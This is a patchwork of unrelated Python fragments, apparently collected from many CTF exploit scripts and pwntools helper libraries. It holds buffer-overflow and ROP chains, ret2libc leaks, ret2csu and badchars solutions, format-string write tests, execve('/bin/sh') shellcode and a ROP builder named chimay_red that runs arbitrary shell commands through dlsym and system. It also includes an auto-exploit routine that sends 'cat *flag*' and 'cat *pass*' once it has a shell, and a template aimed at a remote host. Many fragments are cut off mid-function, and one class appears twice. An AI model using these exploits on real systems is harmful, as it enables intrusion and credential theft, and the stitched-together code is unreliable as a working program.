def compile_source(fas, source_c_file_name, function_name): tmp_executable_file_name = "bin_tmp" tmp_source_file_name = "source_tmp.c" with open(source_c_file_name) as f: source = f.read() for function in fas: if function in source: source = source.replace(function, fas[function]) with open(tmp_source_file_name, "w") as f: f.write(source) system("gcc " + tmp_source_file_name+ " -fPIC -fno-stack-protector -o " + tmp_executable_file_name) e = ELF(tmp_executable_file_name) f = e.functions[function_name] f_bytes = e.read(f.address, f.size) return_type = get_return_type(tmp_source_file_name, function_name) delete_file(tmp_executable_file_name) delete_file(tmp_source_file_name) return format(len(return_type), "02x").decode("hex") + return_type + f_bytes
def __init__(self, file, garbage=0xdeadbeef): global _currently_loaded if isinstance(file, ELF): self.elf = file else: self.elf = ELF(file) self.garbage = tuplify(garbage) # bring addresses of sections, symbols, plt and got to this object self.sections = dict() for k, v in self.elf.sections.items(): self.sections[k] = v['addr'] self.symbols = dict() for k, v in self.elf.symbols.items(): self.symbols[k] = v['addr'] self.plt = self.elf.plt self.got = self.elf.got # promote to top-level g = globals() g['sections'] = self.sections g['symbols'] = self.symbols g['plt'] = self.plt g['got'] = self.got self._chain = [] self._gadgets = {} self._load_gadgets() _currently_loaded = self
def __init__(self, binary: ELF, command=None): default_command = "/bin/touch /tmp/foobar-" + "".join( random.sample(string.ascii_letters, 5)) self._chain = None self._offsets = None self._command = command or default_command with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools if isinstance(binary, str): if os.path.isfile(binary): self.binary = binary = ELF(binary) if not isinstance(binary, ELF): self.binary = binary = ELF.from_bytes(b"\x90" * 262144, vma=0x8048000) self.rop = ROP([binary]) else: self.binary = binary context.binary = self.binary.path self.rop = ROP([binary]) context.arch = _bfdarch_patch() self.context = context self.build_offsets()
def __init__(self, host, port, elf_name, libc_name=None, lib_path=None, ld_linux_name=None, gdb_script=None): self.host, self.port = host, port self.elf_name, self.libc_name = elf_name, libc_name self.lib_path = lib_path self.ld_linux_name = ld_linux_name self.gdb_script = gdb_script self.elf = ELF(self.elf_name) if libc_name: self.libc = ELF(self.libc_name) self.p = None
def __init__(self, file, garbage = 0xdeadbeef): global _currently_loaded if isinstance(file, ELF): self.elf = file else: self.elf = ELF(file) self.garbage = tuplify(garbage) # bring addresses of sections, symbols, plt and got to this object self.sections = dict() for k, v in self.elf.sections.items(): self.sections[k] = v['addr'] self.symbols = dict() for k, v in self.elf.symbols.items(): self.symbols[k] = v['addr'] self.plt = self.elf.plt self.got = self.elf.got # promote to top-level g = globals() g['sections'] = self.sections g['symbols'] = self.symbols g['plt'] = self.plt g['got'] = self.got self._chain = [] self._gadgets = {} self._load_gadgets() _currently_loaded = self
class ExploitInfo: name = '/problems/buffer-overflow-3_1_2e6726e5326a80f8f5a9c350284e6c7f/vuln' elf = ELF(name) # CANARY_SIZE = 4 offset_canary = 0x30 - 0x10 offset_canary_eip = 0x10 + 4
def loadOffsets(binary, shellCmd): elf = ELF(binary) rop = ROP(elf) # www PLT symbols plt["strncpy"] = elf.plt['strncpy'] plt["dlsym"] = elf.plt['dlsym'] # Gadgets to clean the stack from arguments gadgets['pppp'] = rop.search(regs=["ebx", "esi", "edi", "ebp"]).address gadgets['ppp'] = rop.search(regs=["ebx", "ebp"], move=(4*4)).address gadgets['pp'] = rop.search(regs=["ebx", "ebp"]).address gadgets['p'] = rop.search(regs=["ebp"]).address # Gadget to jump on the result of dlsym (address of system) gadgets['jeax'] = ropSearchJmp(elf, "jmp eax") system_chunks.extend(searchStringChunksLazy(elf, "system\x00")) cmd_chunks.extend(searchStringChunksLazy(elf, shellCmd + "\x00")) # get the address of the first writable segment to store strings writable_address = elf.writable_segments[0].header.p_paddr strings['system'] = writable_address strings['cmd'] = writable_address + 0xf
def libc_resolve(dict_sym_addr, choice=0): if len(dict_sym_addr) <= 1: log.warning_once( "[libc-resolver]: No reliable result is guaranteed without at least two symbols" ) result = libcdb_wrapper.find(dict_sym_addr) log.info("Found:\n%s" % result) regex_lib_names = r"\((.*)\)" libs = re.findall(regex_lib_names, result, re.MULTILINE) if len(libs) > 1: log.warning( "[libc-resolver]: %d libraries are compatible, default choice is %d" % (len(libs), choice + 1)) libc = ELF(config.db_path + libs[choice] + ".so") libc.address = list(dict_sym_addr.values())[0] - libc.symbols[list( dict_sym_addr.keys())[0]] return (libc)
def main(): elf_name = '/problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/vuln' libc_name = 'libc.so.6' elf = ELF(elf_name) libc = ELF(libc_name) OFFSET_buf_to_eip = 0x9c + 4 p = process(elf_name) p.recvuntil('puts: ') leak = p.recvline(keepends=False) ADDR_puts = int(leak, 16) p.recvuntil('useful_string: ') leak = p.recvline(keepends=False) ADDR_bin_sh = int(leak, 16) # Calculate libc base libc.address = ADDR_puts - libc.symbols['puts'] ADDR_system = libc.symbols[ 'system'] # + 3 # +3 to avoid null byte on address ADDR_exit = libc.symbols['exit'] log.info("puts @ %s", hex(ADDR_puts)) log.info("libc @ %s", hex(libc.address)) log.info("system @ %s", hex(ADDR_system)) log.info("exit @ %s", hex(ADDR_exit)) log.info("/bin/sh @ %s", hex(ADDR_bin_sh)) ropchain = p32(ADDR_system) ropchain += p32(ADDR_exit) ropchain += p32(ADDR_bin_sh) payload = 'A' * OFFSET_buf_to_eip payload += ropchain p.sendlineafter('string:\n', payload) p.sendlineafter( 'now...\n', 'cd /problems/got-2-learn-libc_2_2d4a9f3ed6bf71e90e938f1e020fb8ee/') p.sendline('ls -l') p.interactive()
def __init__(self, elf_path, payload, base_addr=None): self.elf = ELF(elf_path) if self.elf.pie and base_addr is None: print("[+]: PIE is enabled") self.addr = base_addr exit() else: self.addr = self.elf.address self.payload = payload self.text = self.elf.get_section_by_name(".text") if self.text is None: # todo: error handling print("[+]: where is text section???") exit() self.dumper = HexDumper(self.payload, self.elf.bits // 8) self._external_dict = {} mode = CS_MODE_64 if self.elf.bits == 64 else CS_MODE_32 md = Cs(CS_ARCH_X86, mode) self.rpg = RPG(elf_path) gadget_dict = self.rpg.gadget_list """ {'vaddr': 4196002, 'gadget': 'adc byte ptr [rax], ah ; jmp rax', 'decodes': <generator object Cs.disasm at 0x7f203c6fe2e0>, 'bytes': b'\x10`\x00\xff\xe0', 'prev': b'\x00H\x85\xc0t\x11]\xbf`'} """ self.gadgets = {} for g in gadget_dict: self.gadgets[g["vaddr"]] = g self.mnemonics = {} for mnemonic in md.disasm(self.text.data(), self.text.header.sh_addr): self.mnemonics[mnemonic.address] = mnemonic
class ExploitInfo: name = 'gets' elf = ELF(name) name_on_shell = '/problems/can-you-gets-me_2_da0270478f868f229487e59ee4a8cf40/%s' % name pico_shell = None shellcode_i386 = unhexlify( # % rasm2 -b 32 -D 31c9f7e1b00b51682f2f7368682f62696e89e3cd80 '31c9' # 0x00000000 2 xor ecx, ecx 'f7e1' # 0x00000002 2 mul ecx 'b00b' # 0x00000004 2 mov al, 0xb '51' # 0x00000006 1 push ecx '682f2f7368' # 0x00000007 5 push 0x68732f2f '682f62696e' # 0x0000000c 5 push 0x6e69622f '89e3' # 0x00000011 2 mov ebx, esp 'cd80' # 0x00000013 2 int 0x80 ) # offset_eip = 0x18 + 4
def make_binary(): # junk code generation write_junk_calls("main.c", 31, 2) write_junk_calls("main.c", 22) write_junk_body("main.c", 16) subprocess.call("make", stdout=FNULL, stderr=FNULL) # input correction elf = ELF("simple_rop_2") rop = ROP(elf) win1 = elf.symbols['win_function1'] win2 = elf.symbols['win_function2'] flag = elf.symbols['flag'] POP_ONCE = (rop.find_gadget(['pop rdi', 'ret']))[0] RET = (rop.find_gadget(['ret']))[0] padding = b'A' * 24 exploit = padding + p64(win1) + p64(win2) exploit += p64(POP_ONCE) + p64(0xABADBABE) + p64(RET) + p64(flag) # rop is saved as input f = open("input", "wb") f.write(exploit) f.close() # strip it after the ropchain building so they don't have the symbols but we do subprocess.call(["strip", "simple_rop_2"], stdout=FNULL, stderr=FNULL) # TESTING BINARY f = open("flag.txt", 'r') flag = f.readline() try: output = subprocess.check_output("./simple_rop_2 < input", shell=True, stderr=subprocess.STDOUT) except Exception as e: output = str(e.output) if not flag in output: return -1 else: return 0
def main(): elf_name = '/problems/rop-chain_2_d25a17cfdcfdaa45844798dd74d03a47/rop' elf = ELF(elf_name) offset_buf_to_eip = 0x18 + 4 p = process(elf_name) rop_chain = ROP(elf) rop_chain.win_function1() rop_chain.win_function2(0xBAAAAAAD) rop_chain.flag(0xDEADBAAD) log.info(rop_chain.dump()) payload = 'A' * offset_buf_to_eip payload += str(rop_chain) assert ('\n' not in payload) p.sendlineafter('input> ', payload) print(p.recv(4096))
def get_libcs(): with hide_log() as hidden: directory = os.path.expanduser('~/.libc_offdb/') walk = os.walk(directory) if not os.path.exists(directory): raise Exception( "You haven't download libc yet, please download libc") return None elfs = [] cnt = 0 for root, dirs, files in walk: for f in files: cnt += 1 if f.endswith('.dump'): continue elfs.append(ELF(os.path.join(directory, f))) if cnt == 1: raise Exception( "You haven't download libc yet, please download libc") return elfs
class ROP: def __init__(self, file, garbage = 0xdeadbeef): global _currently_loaded if isinstance(file, ELF): self.elf = file else: self.elf = ELF(file) self.garbage = tuplify(garbage) # bring addresses of sections, symbols, plt and got to this object self.sections = dict() for k, v in self.elf.sections.items(): self.sections[k] = v['addr'] self.symbols = dict() for k, v in self.elf.symbols.items(): self.symbols[k] = v['addr'] self.plt = self.elf.plt self.got = self.elf.got # promote to top-level g = globals() g['sections'] = self.sections g['symbols'] = self.symbols g['plt'] = self.plt g['got'] = self.got self._chain = [] self._gadgets = {} self._load_gadgets() _currently_loaded = self def _load_gadgets(self): if self.elf.elfclass == 'ELF32': self._load32_popret() self._load32_migrate() def _exec_sections(self): for name, sec in self.elf.sections.items(): if 'X' not in sec['flags']: continue data = self.elf.section(name) addr = sec['addr'] yield (data, addr) def _non_writable_sections(self): for name, sec in self.elf.sections.items(): if 'W' in sec['flags']: continue data = self.elf.section(name) addr = sec['addr'] yield (data, addr) def _load32_popret(self): addesp = '\x83\xc4' popr = map(chr, [0x58, 0x59, 0x5a, 0x5b, 0x5d, 0x5e, 0x5f]) popa = '\x61' ret = '\xc3' poprets = defaultdict(list) for data, addr in self._exec_sections(): i = 0 while True: i = data.find(ret, i) if i == -1: break s = [(i, 0)] while len(s) > 0: off, size = s.pop(0) gaddr = addr + off poprets[size].append(gaddr) if data[off - 1] in popr: s.append((off - 1, size + 1)) if data[off - 1] == popa: s.append((off - 1, size + 7)) if data[off - 3:off - 1] == addesp: x = u8(data[off - 1]) if x % 4 == 0: s.append((off - 3, size + x // 4)) i += 1 self._gadgets['popret'] = dict(poprets) def _load32_migrate(self): leave = '\xc9\xc3' popebp = '\x5d\xc3' ls = [] ps = [] for data, addr in self._exec_sections(): idxs = findall(data, leave) ls += map(lambda i: i + addr, idxs) idxs = findall(data, popebp) ps += map(lambda i: i + addr, idxs) self._gadgets['leave'] = ls self._gadgets['popebp'] = ps def _resolve(self, x): if x is None or isinstance(x, int): return x for y in [self.plt, self.symbols, self.sections]: if x in y: return y[x] die('Could not resolve `%s\'' % x) def _pivot(self, args): pivot = None rets = self._gadgets['popret'] for size in sorted(rets.keys()): if size >= len(args): pivot = rets[size][0] break if pivot is None: for i in findall(args, None): if i in rets.keys(): res = self._pivot(args[i + 1:]) if res is None: continue pivot, size = res args[i] = pivot pivot = rets[i][0] size += i + 1 break if pivot is not None: return (pivot, size) def migrate(self, sp, bp = None): self._chain.append(('migrate', (sp, bp))) return self def set_frame(self, addr): if self.elf.elfclass == 'ELF32': self._set_frame32(addr) else: die('Only 32bit ELF supported') def _set_frame32(self, addr): gs = self._gadgets['popebp'] if gs <> []: self.raw(gs[0], addr) else: die('Could not find set-EBP gadget') def call(self, target, args = (), pivot = None): '''Irrelevant arguments should be marked by a None''' target = self._resolve(target) args = map(self._resolve, tuplify(args)) self._chain.append(('call', (target, pivot, args))) return self def raw(self, *words): self._chain.append(('raw', words)) return self def search(self, byte): for data, addr in self._non_writable_sections(): if addr and byte in data: yield data.find(byte) + addr def generate(self): if self.elf.elfclass == 'ELF32': return self._generate32() else: die('Only 32bit ELF supported') def flush(self): '''Alias for generate''' return self.generate() def _garbage(self, n): out = '' while len(out) < n: x = random.choice(self.garbage) out += x if isinstance(x, str) else pint(x) return out[:n] def _generate32(self): out = [] chain = self._chain self._chain = [] p = p32 def garbage(): return self._garbage(4) def pargs(args): args = map(lambda a: garbage() if a is None else p(a), args) return args for i in range(len(chain)): type, link = chain[i] islast = i == len(chain) - 1 issndlast = i == len(chain) - 2 if type == 'raw': out += pargs(link) elif type == 'call': target, pivot, args = link out.append(p(target)) if len(args) > 0: if islast: out.append(garbage()) out += pargs(args) elif issndlast and chain[i + 1][0] == 'call' and \ len(chain[i + 1][1][2]) == 0: # the last target has no arguments, so go straight to it out.append(p(chain[i + 1][1][0])) out += pargs(args) break else: if pivot is None: # find suitable popret res = self._pivot(args) if res is None: die('Could not find gadget for pivoting %d arguments' % len(args)) pivot, size = res args = pargs(args) for _ in range(size - len(args)): args.append(garbage()) out.append(p(pivot)) out += args elif type == 'migrate': if not islast: die('Migrate must be last link in chain') esp, ebp = link gp = self._gadgets['popebp'] gl = self._gadgets['leave'] if len(gp) == 0 and len(gl) == 0: die('Could not find set-EBP and leave gadgets needed to migrate') gp = gp[0] gl = gl[0] if ebp is None: out += [p(gp), p(esp-4), p(gl)] else: out += [p(gp), p(esp), p(gl)] self.raw(p(ebp)) else: die('Unknown ROP-link type') return ''.join(out) def __str__(self): return self.generate() def __flat__(self): return self.generate() def __repr__(self): return str(self) def __add__(x, y): return str(x) + str(y) def __radd__(x, y): return str(y) + str(x) def __getitem__(self, x): return self._resolve(x) def chain(self, *args): if len(args) % 2 <> 0: args = args + ((),) args = group(2, args) for f, a in args: self.call(f, a) return self
#!/usr/bin/env python3 from pwn import process, ELF, log, context, pause from fastpwn import pack context(arch='amd64', os='linux', log_level='DEBUG') binary = ELF('./lab') p = binary.process() offset = 112 #### define sections of the binary # since PIE is not enabled, these will be static offsets to whichever section we want # we will not pack them, since after they are in bytes we cannot use as decimal offsets :( bss = 0x0804c028 plt = 0x08049030 rel_plt = 0x08048424 dynsym = 0x08048260 dynstr = 0x08048320 #### Important entries within PLT/GOT got_read = 0x0804c010 plt_read = 0x08049050 log.info("") log.warning("continue?") log.info("") pause() log.info(".bss: \t%s" % hex(bss)) log.info(".plt: \t%s" % hex(plt)) log.info(".rel.plt: %s" % hex(rel_plt)) log.info(".dynsym: %s" % hex(dynsym)) log.info(".dynstr: %s" % hex(dynstr)) log.info("GOT entry to read: %s" % hex(got_read)) log.info("PLT entry to read: %s" % hex(plt_read)) stack = 0x300
from pwn import context, ELF, gdb, packing, process, ROP e = ELF("ret2csu") p = process(e.path) #gadget 1 = pop_rbp; pop_r12; pop_r13; pop_r14; pop_r15; ret gadget1 = 0x40069b rbx = 0x0 rbp = 0x1 fini = 0x600e48 #doesn't actually call fini it just stores this address to be called at the end so we can fill rdi properly arg1 = 0xdeadbeefdeadbeef #edi arg2 = 0xcafebabecafebabe #rsi arg3 = 0xd00df00dd00df00d #rdx #gadget 2 = mov rdx r15; mov rsi r14; mov edi r13 gadget2 = 0x400680 ret2win = 0x40062a ''' using the provided gadgets in __libc_csu_init we can construct a rop chain to derandomize libc if we want ret2win to be called during call qword ptr [r12+rax*8], then we can set rax as 0x0, and then r12 as the value for ret2win ''' junk = b"A" * 40 chain = [gadget1, rbp, fini, arg1, arg2, arg3, gadget2, 0x0,0x1,0x0,0x0,0x0,0x0,0x0, 0x4006a3, 0xdeadbeefdeadbeef, ret2win] rop = b"".join([packing.p64(r) for r in chain]) p.recvuntil("> ") #input() #debug
p.sendline(s) ret = p.recvuntil("1. Stack Bufferoverflow Bug", drop=True) p.recvuntil("Exit the battle \n") return ret def connect(): global p p = process(elf.file.name, cwd=SCRIPTDIR) p.recvuntil("Exit the battle \n") logging.basicConfig(level=logging.DEBUG) log = logging.getLogger() elf = ELF(os.path.join(SCRIPTDIR, "2017_asis_mary_morton")) connect() def test_win(): winner = 0x4008DA connect() fmtStr = FormatString(exec_fmt, elf=elf, index=6, pad=0, explore_stack=False) fmtStr.write_q(elf.symbols['got.printf'], winner)
def build_ropchain(self, offsets=None): """ Command Eg. "ls -la" system_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("s", "y", "s", "t", "e", "m", "\x00") cmd_chunks = [134512899, 134513152, 134512899, 134512854, 134514868, 134514240, 134512693] ("l", "s", " ", "-", "l", "a", "\x00") Psuedocode: ----------------------------- char_size = 1 char_pointer = 0 for address in cmd_chunks: rop.call(<strncpy>, args=(<writeable_segment_addr> + char_pointer, address, char_size)) char_pointer += 1 |<<<< rop.call(<dlsym>, args=(0, "system")) | | eax = resultant pointer of dlsym() | |>>>> rop.call(<jmp eax>, args=(<command>)) ----------------------------- """ char_size = 1 cmd_chunks = list() system_chunks = list() if offsets: self._offsets = offsets for gadget_name, gadget in self.offsets.gadgets.items(): if "pivot" in gadget_name: self.binary.asm(gadget.address, "; ".join(gadget.insns)) self.binary.save("/tmp/chimay_red.elf") with context.local(): context.log_level = "WARNING" # Suppress ELF metadata print from pwntools self.rop = ROP([ELF("/tmp/chimay_red.elf")]) ascii_chunks = self.offsets.strings.get("ascii_chunks") if not ascii_chunks: log.critical("Offsets are currently not built!") for char in "system" + "\x00": if ascii_chunks.get(char): system_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft system chunks" ) for char in self.command + "\x00": if ascii_chunks.get(char): cmd_chunks.append(ascii_chunks[char]) else: log.critical( "Unable to locate enough readable characters in the binary to craft desired command" ) for length, address in zip(range(len(system_chunks)), system_chunks): self.rop.call(self.offsets.plt.get("strncpy"), [ self.offsets.strings.get("system") + length, address, char_size ]) # print("EXPLOIT STAGE 1 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) for length, address in zip(range(len(cmd_chunks)), cmd_chunks): self.rop.call( self.offsets.plt.get("strncpy"), [self.offsets.strings.get("cmd") + length, address, char_size]) # print("EXPLOIT STAGE 2 (CMD CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.plt.get("dlsym"), [0, self.offsets.strings.get("system")]) # print("EXPLOIT STAGE 3 (SYSTEM CHUNKS): ", hexlify(self.rop.chain())) self.rop.call(self.offsets.gadgets.get("jmp_eax"), [self.offsets.strings.get("cmd")]) # print("EXPLOIT 4: ", hexlify(self.rop.chain())) self._chain = self.rop.chain()
#!/usr/bin/python3 # ./attack.py GDB or ./attack.py # To disable ASLR, run this first: setarch `uname -m` -R /bin/bash from pwn import process, gdb, args, p64, ELF, context, u64 binary = './gym' gs = """ break 118 continue """ e = ELF(binary) END_OF_MENU = "e.g., r 1\n" def malloc(p, size=8): p.sendline(b"m %d" % size) print("m %d" % size) print(p.recvuntil(END_OF_MENU).decode()) def free(p, index): p.sendline(b"f %d" % index) print("free") print(p.recvuntil(END_OF_MENU).decode()) def edit(p, index, content):
from os import system from pwn import ELF print("compiling") #O2,O1 or the assert will trigger system("gcc -O2 fib_iterative.c -o ./fib_iterative") print("extracting fib") binary = ELF("./be-quick-or-be-dead-2") fib_binary = ELF("./fib_iterative") fib = fib_binary.functions["fib"] assert fib.size < binary.functions[ "fib"].size, "instructions variable must have less machine code than the current fib implementation" print("fib size:", fib.size) with open("fib_iterative.txt", "w") as f: print(fib_binary.disasm(fib.address, fib.size), file=f)
parents.pop() #normal finish, pop one parents else: print(indent + 'cant branch to black, escape!') print("%s%s" % (indent, parents)) black.extend(parents) print(indent + 'put parents to black') raise 1 #stop all, go to big try part parents.pop() #normal finish, pop one parents print(indent + 'normal return %s, pop parents' % (hex(addr))) #start filename = sys.argv[1] elf = ELF(sys.argv[1]) #to make [name, addr, size] map func_list = list(elf.functions.keys()) #funcname list func_num = len(func_list) map = {} for i in range(func_num): name = func_list[i] addr = elf.symbols[name] if addr % 2 == 1: addr = addr - 1 size = elf.functions[name].size map[addr] = [name, addr, size]
u8, p8, u16, p16, u32, p32, u64, p64, ) context.log_level = "debug" context.arch = "amd64" # arch="i386", arch="mips", arch="arm", context.terminal = ["tmux", "split-window", "-v", "-p 75"] LOCAL = True elf = ELF(os.path.realpath("./changeme")) libc = ELF(os.path.realpath("./libc.so")) def gdb_load_symbols_cmd(sym_file, e, base): sec_str = [] for s in e.sections: if not s.name or not s.header.sh_addr: continue sec_addr = base + s.header.sh_addr sec_str.append(f'-s {s.name} 0x{sec_addr:x}') text_addr = e.get_section_by_name('.text').header.sh_addr + base return f'add-symbol-file {sym_file} 0x{text_addr:x} {" ".join(sec_str)} \n' def attach(r):
#!/usr/bin/env python3 from pwn import context,ELF,process,log from fastpwn import pack, aslr if aslr.read(): aslr.write("2") log.warning("ASLR turned on") context(arch='amd64',os='linux') binary=ELF('./sgc',checksec=False) p=binary.process() libc=ELF('./libc-2.26.so',checksec=False) ## establish helper functions def add(n,g,a): p.recvuntil("Action:") p.sendline("0") p.recvuntil("name:") p.sendline(str(n)) # name p.recvuntil("group:") p.sendline(str(g)) # group name p.recvuntil("age:") p.sendline(str(a)) # age def gdis(n): p.recvuntil("Action:") p.sendline("1") p.recvuntil("name:") p.sendline(str(n)) # name def udis(i): p.recvuntil("Action:") p.sendline("2") p.recvuntil("index:") p.sendline(str(i)) # index def edit(i, n, prop=True):
#!/usr/bin/env python3 from pwn import process, asm, ELF, context from multiprocessing import Process from numpy import array_split context.log_level = 'error' elf = ELF('./padawanlock') assembly_for_h = asm('mov byte ptr [ebx], 0x48') # Instruction that adds H to the output - must be our entrypoint def brute_force_range(search, pid): # Reversing the caculation # 0x124B base address of jump table # 13 byte difference between the address to which we jump and the instruction that appends the char # address = base + (20 * input) # address - base = 20 * input # (address - base) / 20 = input base = 0x124b count = 0 with open(f"results_{pid}.txt", "w") as output_file: for result in search: address = result - 13 input = (address - base) / 20 input = round(input) p = process("./padawanlock") p.sendline(str(input)) output = p.recvall().decode('ascii') flag = output.split('Unlocked secret is:')[1].strip()
#################### #### CONNECTION #### #################### LOCAL = False REMOTETTCP = True REMOTESSH = False GDB = False LOCAL_BIN = "./vuln" REMOTE_BIN = "~/vuln" #For ssh LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it if LOCAL: P = process(LOCAL_BIN) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTETTCP: P = remote('10.10.10.10', 1339) # start the vuln binary ELF_LOADED = ELF(LOCAL_BIN) # Extract data from binary ROP_LOADED = ROP(ELF_LOADED) # Find ROP gadgets elif REMOTESSH: ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='******', port=2220) p = ssh_shell.process(REMOTE_BIN) # start the vuln binary elf = ELF(LOCAL_BIN) # Extract data from binary rop = ROP(elf) # Find ROP gadgets
def sendExploit( binary_name, properties, remote_server=False, remote_url="", port_num=0, user_input=None, ): send_results = {} # Create local or remote process if remote_server: proc = remote(remote_url, port_num) else: proc = process(binary_name) # Command to send if user_input is None: user_input = properties["pwn_type"]["results"]["input"] if properties["pwn_type"]["results"]["type"] == "leak": leak_input = properties["pwn_type"]["results"]["leak_input"] leak_output = properties["pwn_type"]["results"]["leak_output"] leaked_function = properties["pwn_type"]["results"]["leaked_function"] output_len = len(leak_output) proc.sendline(leak_input) bytes_with_leak = proc.read() if properties["protections"]["arch"] == "amd64": total_leak = bytes_with_leak[output_len:output_len + 8] leaked_val = u64(total_leak[:6] + b"\x00" * 2) # puts won't print null bytes else: total_leak = bytes_with_leak[output_len:output_len + 4] leaked_val = u32(total_leak) # puts won't print null bytes log.info("--- Leak ---") log.info(total_leak) log.info(bytes_with_leak) # leaked_val = u64(total_leak[:6]+b"\x00"*2) # puts won't print null bytes log.info("leak is {}".format(hex(leaked_val))) log.info("leaked function {} found at {}".format( leaked_function, hex(leaked_val))) properties["pwn_type"]["results"][ "leaked_function_address"] = leaked_val if properties.get("libc", None): libc = ELF(properties["libc"]) properties["libc_base_address"] = leaked_val - libc.symbols[ leaked_function] log.info("[+] Leak sets libc address to {}".format( hex(properties["libc_base_address"]))) # Make second stage pwn properties["pwn_type"]["results"] = exploitOverflow( binary_name, properties, inputType=properties["input_type"]) second_stage_input = properties["pwn_type"]["results"]["input"] proc.sendline(second_stage_input) else: proc.sendline(user_input) # If we have a shell, send some commands! proc.sendline() proc.sendline(b"ls;\n") proc.sendline(b"cat *flag*;\n") proc.sendline(b"cat *pass*;\n") # Sometimes the flag is just printed results = proc.recvall(timeout=3) log.debug(results) print(results) send_results["flag_found"] = False if b"{" in results and b"}" in results: send_results["flag_found"] = True log.info("[+] Flag found:") log.info(results) return send_results
def main(): if len(sys.argv) < 2: usage() binary = sys.argv[1] try: elf = ELF(binary) except: myExit("Problem with binary path " + binary) ldPath = None libc = None libcPath = None DEBUG = False REMOTE = False env = {} i = 2 while i < len(sys.argv): opt = sys.argv[i] if opt == Mode.DEBUG: log.debug("Enable gdb mode") DEBUG = True i += 1 elif opt == Mode.REMOTE: try: host = sys.argv[i + 1] port = sys.argv[i + 2] except: myExit("Problem with -r HOST PORT") log.debug("Enable remote connection to ", host, port) REMOTE = True i += 3 elif opt == Mode.LIBC: try: libcVersion = sys.argv[i + 1] except: myExit("Problem with -l PathToLibC") log.debug("Set Library version to", libcVersion) # PATH_CUSTOM_GLIBC = PATH_GLIBC % libcVersion for file in listdir(PATH_LIBS): if file.startswith("ld") and libcVersion in file: ldPath = path.join(PATH_LIBS, file) if file.startswith("libc") and libcVersion in file: libcPath = path.join(PATH_LIBS, file) # libcPath = "/lib/x86_64-linux-gnu/libc-2.27.so" env = {"LD_PRELOAD": libcPath} libc = ELF(libcPath) i += 2 else: myExit("Unknown option only -d -l -ld -r") if not libc: libc = elf.libc if REMOTE: r = remote(host, int(port)) else: if ldPath is None: r = process(binary, env=env) else: r = process([ldPath, binary], env=env) if DEBUG: # Example # bp = [elf.sym["malloc"]] # bp = ["malloc"] debug(r, bp, elf) exploit(r, elf, libc)
def startIt(): global p global fmtStr p = process(os.path.join(SCRIPTDIR, fName), buffer_fill_size=0xffff) p.recvuntil("Input: ") fmtStr = FormatString(exec_fmt, elf=elf) logging.basicConfig(level=logging.DEBUG) log = logging.getLogger() fName = "amd64_echoService" elf = ELF(os.path.join(SCRIPTDIR, fName)) startIt() def test_matching(): assert u32(fmtStr[elf.symbols['myVar']]) == get_myVar() def test_change_byte_as_int(): fmtStr.write_b(elf.symbols['myVar'] + 3, 0xbe) assert get_myVar() == 0xbeadbeef assert fmtStr.leak.d(elf.symbols['myVar']) == get_myVar() def test_change_word_as_int(): fmtStr.write_w(elf.symbols['myVar'], 0xf00d)
# sub or just plain mov depending on which type of char it is (bad or not) rop = b"A" * 40 for i in range(0, 8): rop += packing.p64(POP_R12_POP_R13_POP_R14_POP_R15_RET ) #gadget to load r12 -> char, r13 -> location in .data rop += packing.p64(filename[i]) #letter of filename rop += packing.p64(data_section_start + i) #location in .data if i in (2, 3, 4, 6): #handle chars 'a', 'g', '.' rop += packing.p64(0x1) rop += packing.p64(data_section_start + i) rop += packing.p64( MOV_R13_R12) #dereference r13, writing char to .data rop += packing.p64(SUB_R15_R14) else: rop += packing.p64(0x0) #r14 rop += packing.p64(0x0) #r15 rop += packing.p64( MOV_R13_R12) #dereference r13, writing char to .data print('\ncalling print_file...\n') # call print_file rop += packing.p64(POP_RDI_RET) rop += packing.p64(data_section_start) rop += packing.p64(PRINT_FILE) e = ELF("badchars") p = process(e.path) p.recvuntil("> ") p.send(rop) p.interactive()
nargs="*", help= "show nformation of symbols such as symbol@plt, symbol@got and symbol@libc (-l option is required). This option can get multi arguments." ) # under construction # 目標はradare2の劣化版みたいな解析機能 parser.add_argument("--detail", help="analyze binary for detail information", action="store_true") args = parser.parse_args() # analyze binary # todo: 不要な解析を無視 elf = ELF(args.elf) # _write4 libc = ELF(args.libc) if args.libc else None sect = Section(elf) functions = Functions(elf) plt = elf.plt got = elf.got # dump simple if not args.symbols: print("") # dump sections print("[+]: all sections") sect.dump_all_sections() print("")
#!/usr/bin/env python3 from pwn import ELF, process, context, log from fastpwn import pack, aslr # custom library :) from sys import argv, exit try: if len(argv) > 1 and argv[1] == "-l": if aslr.read(): aslr.write("2") context(arch='amd64', os='linux', log_level='DEBUG') # binary context binary = ELF("./lab") # define our binary p = binary.process(env={'LD_PRELOAD': './libc.so.6' }) # start our process and define enviroment libc = binary.libc # name our libc object # we can statically find the addresses of the PLT and GOT within the binary # just in case you were too lazy to, here is the pwntools way to do it # # plt_puts=binary.plt['puts'] # got_puts=binary.got['puts'] # main_addr=binary.sym['main'] pop_rdi = pack.pk64(0x00000000004011e3) got_puts = pack.pk64(0x00404018) plt_puts = pack.pk64(0x00401030) main_addr = pack.pk64(0x00401136) offset = 40 leak_payload = b"A" * offset # overwrite ret addr, main ret back to gadget leak_payload += pop_rdi # next we use a gadget, rdi will be the first parameter leak_payload += got_puts # pass the address of the puts() entry on the global offset table leak_payload += plt_puts # then, call puts(), this will actuall call puts leak_payload += main_addr # ret back to main, since we still want to overwrite the buffer again